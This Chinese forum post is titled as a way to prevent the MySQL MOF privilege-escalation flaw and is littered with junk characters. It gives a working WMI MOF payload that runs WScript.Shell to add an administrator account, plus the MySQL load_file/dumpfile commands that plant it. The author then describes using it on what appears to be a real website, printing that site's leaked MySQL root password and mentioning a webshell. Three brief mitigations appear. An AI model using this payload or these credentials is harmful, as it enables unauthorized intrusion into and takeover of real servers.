Mysql mof扩展漏洞防范方法
" ?& p6 ^+ t, n, x
( d4 A, m* ~1 b1 C! O网上公开的一些利用代码:
7 F! ^% @0 y$ O5 O; K
( I8 [7 d' q2 M0 Q- v0 \1 Q9 X6 `- k#pragma namespace(“\\\\.\\root\\subscription”)8 z$ u7 N) i7 c: t# m% }
' A4 C0 t+ l1 T1 ?8 Z" n
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };' L$ n4 a/ P. x6 E# a+ r* _; S
2 i# @: X4 J' I' L' \/ R/ @ : b, ?2 Z* B0 E# g( r1 N$ u
) Z2 Q9 d5 n4 N/ ~ L& \. H
/ n* U6 T$ G3 t! E5 K
. `5 B. F- Y5 P: J连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
. `2 d4 N9 j# ~4 q1 D8 \2 K; V$ {从上面代码来看得出解决办法:, C) |' v% t% ?
% Z- j) A2 @& ~7 Q
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
$ n! y0 Y. A* L1 ~7 ]
2 S* W( k( L) [2、禁止使用”WScript.Shel”组件% m0 K3 j9 _1 Q8 J7 h/ ?* j
, m( E% k6 I) B
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER$ R; |: g1 h$ h# B. Y1 E
0 N$ L2 f3 Q: R# {当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下- ^, s- d' w$ {$ B0 d/ o( _2 ~
* k6 ~( v2 |9 E/ e4 K
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权/ ^1 b. D- T# A- C8 }
{, q# _2 N# N5 k7 h$ T
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
4 ^ Y4 k( A2 K) r+ y& B- z0 E. I& N, H% ]. g6 p/ t1 f
看懂了后就开始练手吧* ^5 L3 m' D& T$ w
* o; |4 p( |3 N4 F* Q) ?http://www.webbmw.com/config/config_ucenter.php 一句话 a
: O4 a& j3 j' _+ l+ r, K6 {, J4 ^; Q7 T3 v
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
5 {, k& E% a& }
( }3 H2 y6 S4 K5 d6 r, U于是直接用菜刀开搞' |* `/ G% @4 ]1 w, q% \
& l' d1 B2 g# E! \- X3 S1 g/ [5 n& M
上马先, c- H0 c! n Z% w) V' @
$ x5 \ x& N' P
既然有了那些账号 之类的 于是我们就执行吧…….
7 C: ?* H% M0 o7 J( \- V% p& a Q, @" j+ L* p* ~( ^& }, F. S
小小的说下# J9 s! A5 n. O4 K+ ^3 i
) ^4 }" C, z1 q在这里第1次执行未成功 原因未知
# |( e% D) ?5 ~0 r/ z1 z" y6 Q
. d/ H9 d* p% P5 \9 ^4 N我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。) U( D* W m1 a
& v D5 }9 ^! k; x! |, y" j- c#pragma namespace(“\\\\.\\root\\subscription”)1 ~0 T- c) [! g* t9 ?$ f; g9 {& H* c
& Z; X% u) t2 X0 n% b
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };! k$ t& i# Q' x$ A8 F
' v: W: b& B3 p" D' X$ h6 |1 L8 Y
我是将文件放到C:\WINDOWS\temp\1.mof- @; F5 d3 r& V8 Q9 U
. n( ?4 d* X- a8 {+ m
所以我们就改下执行的代码
$ ?6 L( v N7 @8 s% G9 j& W v1 F4 @& V5 M
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
0 s; _& I% ~/ Y/ C$ N9 C, h! v( d' w" D: M
' I G$ A) I7 t* Y/ L0 ]5 X2 d3 u
但是 你会发现账号还是没有躺在那里。。3 t/ }+ v. H5 \* E1 `* b3 g
% _ b* ^% z. i0 Y6 L* K# K6 F于是我就感觉蛋疼6 ?1 M, Z2 J1 ^8 t, B9 d) z/ j* c
5 y7 R" S$ \! r6 P( X2 Z
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
! `; ?2 _% a5 ?
0 l& c3 W1 ]9 N+ b# \* ]; I) {7 y1 h7 k
( w/ _4 I5 C3 @5 Y5 t但是其他库均不成功…
2 k0 \$ t9 v5 M1 v4 G6 z* y) g
6 L3 @" K& ], l% K1 y我就很费解呀 到底为什么不成功求大牛解答…* O4 r% U. h) b7 n0 d
b" ~2 P/ M' u; N! W1 n
D# p2 f0 i8 Z& _# d4 [& \. x& J4 N2 `- g! ?( M
|